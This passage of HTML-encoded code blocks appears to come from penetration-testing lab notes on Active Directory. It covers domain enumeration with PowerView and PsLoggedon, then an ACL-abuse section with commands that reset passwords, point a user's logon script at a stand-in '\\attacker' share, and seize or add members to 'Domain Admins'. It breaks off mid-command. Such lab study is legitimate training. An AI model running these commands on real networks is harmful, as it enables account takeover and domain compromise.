class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;span class="lnt"&gt;30&#10;&lt;/span&gt;&lt;span class="lnt"&gt;31&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Obtain more information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Use the PowerView Get-NetComputer command to enumerate computer objects in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetComputer&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Filter to obtain hostnames and OS versions for all domain hosts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetComputer | select operatingsystem,dnshostname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Run as stephanie (important in real engagements)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\&amp;gt; Find-LocalAdminAccess&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# What happens internally:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 1. Try connecting to machine A&amp;#39;s SCM -&amp;gt; failed (insufficient permissions)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 2. Try connecting to machine B&amp;#39;s SCM -&amp;gt; failed (insufficient permissions)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 3. Try connecting to client74&amp;#39;s SCM -&amp;gt; success! (stephanie is a local administrator on client74)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# 4. Continue trying other machines...&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Final output&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;client74.corp.com # Indicates administrator privileges on this machine&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Find logged-on users on domain hosts; this requires substantial privileges&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Normally, insufficient permissions mean the current user must access the target as an administrator&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Alternatively, access to the SrvsvcSessionInfo registry entry on the target is required&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetSession -ComputerName files04 -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;VERBOSE: [Get-NetSession] Error: Access is denied&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PS C:\Tools&amp;gt; Get-NetSession -ComputerName web04 -Verbose&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;VERBOSE: [Get-NetSession] Error: Access is denied&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The result above shows administrator privileges on client74, so inspect client74&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetSession -ComputerName client74&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The method above normally requires more privileges; the following method does not&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://learn.microsoft.com/en-us/sysinternals/downloads/pstools provides the suite from the official site&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# It queries through the Remote Registry service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;.\PsLoggedon.exe \\files04&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;PsLoggedon v1.35 - See who&amp;#39;s logged on&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Copyright (C) 2000-2016 Mark Russinovich&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Sysinternals - www.sysinternals.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Users logged on locally:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &amp;lt;unknown time&amp;gt; CORP\jeff&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Unable to query resource logons&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# When a different user is logged on and administrator access is available&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# The main action is to analyze LSASS&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enumerate SPNs in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;setspn -L iis_service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Import PowerView&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Gather information about service accounts&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-NetUser -SPN | select samaccountname,serviceprincipalname&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nslookup.exe web04.corp.com&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 10&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 11&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 12&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 13&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 14&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 15&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 16&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 17&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 18&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 19&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 20&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 21&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 22&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 23&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 24&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 25&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 26&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 27&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 28&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 29&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 30&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 31&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 32&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 33&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 34&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 35&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 36&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 37&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 38&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 39&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 40&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 41&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 42&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 43&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 44&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 45&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 46&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 47&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 48&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 49&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 50&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 51&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 52&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 53&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 54&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 55&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 56&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 57&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 58&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 59&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 60&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 61&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 62&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 63&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 64&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 65&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 66&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 67&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 68&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 69&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 70&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 71&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 72&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 73&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 74&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 75&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 76&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 77&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 78&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 79&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 80&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 81&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 82&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 83&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 84&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 85&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 86&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 87&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 88&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 89&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 90&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 91&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 92&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 93&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 94&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 95&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 96&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 97&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 98&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 99&#10;&lt;/span&gt;&lt;span class="lnt"&gt;100&#10;&lt;/span&gt;&lt;span class="lnt"&gt;101&#10;&lt;/span&gt;&lt;span class="lnt"&gt;102&#10;&lt;/span&gt;&lt;span class="lnt"&gt;103&#10;&lt;/span&gt;&lt;span class="lnt"&gt;104&#10;&lt;/span&gt;&lt;span class="lnt"&gt;105&#10;&lt;/span&gt;&lt;span class="lnt"&gt;106&#10;&lt;/span&gt;&lt;span class="lnt"&gt;107&#10;&lt;/span&gt;&lt;span class="lnt"&gt;108&#10;&lt;/span&gt;&lt;span class="lnt"&gt;109&#10;&lt;/span&gt;&lt;span class="lnt"&gt;110&#10;&lt;/span&gt;&lt;span class="lnt"&gt;111&#10;&lt;/span&gt;&lt;span class="lnt"&gt;112&#10;&lt;/span&gt;&lt;span class="lnt"&gt;113&#10;&lt;/span&gt;&lt;span class="lnt"&gt;114&#10;&lt;/span&gt;&lt;span class="lnt"&gt;115&#10;&lt;/span&gt;&lt;span class="lnt"&gt;116&#10;&lt;/span&gt;&lt;span class="lnt"&gt;117&#10;&lt;/span&gt;&lt;span class="lnt"&gt;118&#10;&lt;/span&gt;&lt;span class="lnt"&gt;119&#10;&lt;/span&gt;&lt;span class="lnt"&gt;120&#10;&lt;/span&gt;&lt;span class="lnt"&gt;121&#10;&lt;/span&gt;&lt;span class="lnt"&gt;122&#10;&lt;/span&gt;&lt;span class="lnt"&gt;123&#10;&lt;/span&gt;&lt;span class="lnt"&gt;124&#10;&lt;/span&gt;&lt;span class="lnt"&gt;125&#10;&lt;/span&gt;&lt;span class="lnt"&gt;126&#10;&lt;/span&gt;&lt;span class="lnt"&gt;127&#10;&lt;/span&gt;&lt;span class="lnt"&gt;128&#10;&lt;/span&gt;&lt;span class="lnt"&gt;129&#10;&lt;/span&gt;&lt;span class="lnt"&gt;130&#10;&lt;/span&gt;&lt;span class="lnt"&gt;131&#10;&lt;/span&gt;&lt;span class="lnt"&gt;132&#10;&lt;/span&gt;&lt;span class="lnt"&gt;133&#10;&lt;/span&gt;&lt;span class="lnt"&gt;134&#10;&lt;/span&gt;&lt;span class="lnt"&gt;135&#10;&lt;/span&gt;&lt;span class="lnt"&gt;136&#10;&lt;/span&gt;&lt;span class="lnt"&gt;137&#10;&lt;/span&gt;&lt;span class="lnt"&gt;138&#10;&lt;/span&gt;&lt;span class="lnt"&gt;139&#10;&lt;/span&gt;&lt;span class="lnt"&gt;140&#10;&lt;/span&gt;&lt;span class="lnt"&gt;141&#10;&lt;/span&gt;&lt;span class="lnt"&gt;142&#10;&lt;/span&gt;&lt;span class="lnt"&gt;143&#10;&lt;/span&gt;&lt;span class="lnt"&gt;144&#10;&lt;/span&gt;&lt;span class="lnt"&gt;145&#10;&lt;/span&gt;&lt;span class="lnt"&gt;146&#10;&lt;/span&gt;&lt;span class="lnt"&gt;147&#10;&lt;/span&gt;&lt;span class="lnt"&gt;148&#10;&lt;/span&gt;&lt;span class="lnt"&gt;149&#10;&lt;/span&gt;&lt;span class="lnt"&gt;150&#10;&lt;/span&gt;&lt;span class="lnt"&gt;151&#10;&lt;/span&gt;&lt;span class="lnt"&gt;152&#10;&lt;/span&gt;&lt;span class="lnt"&gt;153&#10;&lt;/span&gt;&lt;span class="lnt"&gt;154&#10;&lt;/span&gt;&lt;span class="lnt"&gt;155&#10;&lt;/span&gt;&lt;span class="lnt"&gt;156&#10;&lt;/span&gt;&lt;span class="lnt"&gt;157&#10;&lt;/span&gt;&lt;span class="lnt"&gt;158&#10;&lt;/span&gt;&lt;span class="lnt"&gt;159&#10;&lt;/span&gt;&lt;span class="lnt"&gt;160&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enumerate object permissions in the domain&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Reference permission list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll: Full permissions on object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericWrite: Edit certain attributes on the object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteOwner: Change ownership of the object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteDACL: Edit ACE&amp;#39;s applied to object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AllExtendedRights: Change password, reset password, etc.&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ForceChangePassword: Password change for object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Self (Self-Membership): Add ourselves to for example a group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericAll (Full Control):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Highest permission level&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Provides full control over the object&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows any operation: modify attributes, reset passwords, add to groups, and more&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: GenericAll over a user allows direct password reset&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;GenericWrite (Write Permission):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows modification of most object attributes&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Does not allow modification of sensitive attributes such as passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: modify a user&amp;#39;s scriptPath attribute to achieve code execution&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteOwner (Change Owner):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows changing the object&amp;#39;s owner&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Changing ownership to yourself can lead to full control&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: become the owner of a group and then control it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;WriteDACL (Modify Access Control):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows modification of the object&amp;#39;s access-control list&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows permissions to be added or removed&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: grant yourself GenericAll&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;AllExtendedRights (Extended Rights):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Includes special operations such as password resets&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Does not include ordinary attribute-modification permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: reset a user&amp;#39;s password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;ForceChangePassword (Force Password Change):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;A permission specifically for changing passwords&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Does not require the original password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: directly reset the target user&amp;#39;s password&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Self (Self-Membership):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Allows adding yourself to a group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Only yourself can be added&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Example: add yourself to a privileged group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Official reference&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# https://learn.microsoft.com/en-us/windows/win32/secauthz/access-rights-and-access-masks&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Simple usage methods&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using GenericAll:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# If GenericAll is held over user UserA&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;net user UserA NewPass123! /domain # Change the password directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using GenericWrite:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# Modify the user&amp;#39;s script path to achieve code execution&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-ADUser -Identity UserA -ScriptPath &amp;#34;\\attacker\share\evil.ps1&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using WriteOwner:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# First, change the owner to yourself&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainObjectOwner -Identity &amp;#34;Domain Admins&amp;#34; -OwnerIdentity YourAccount&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Further operations are then possible&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using WriteDACL:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# Grant yourself full permissions&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainObjectAcl -TargetIdentity &amp;#34;Domain Admins&amp;#34; -Rights All&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using ForceChangePassword:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# Change the password directly&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Set-DomainUserPassword -Identity targetuser -AccountPassword (ConvertTo-SecureString &amp;#39;Password123!&amp;#39; -AsPlainText -Force)&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Using Self (Self-Membership):&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;powershellCopy# Add yourself to the group&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Add-DomainGroupMember -Identity &amp;#39;Domain Admins&amp;#39; -Members 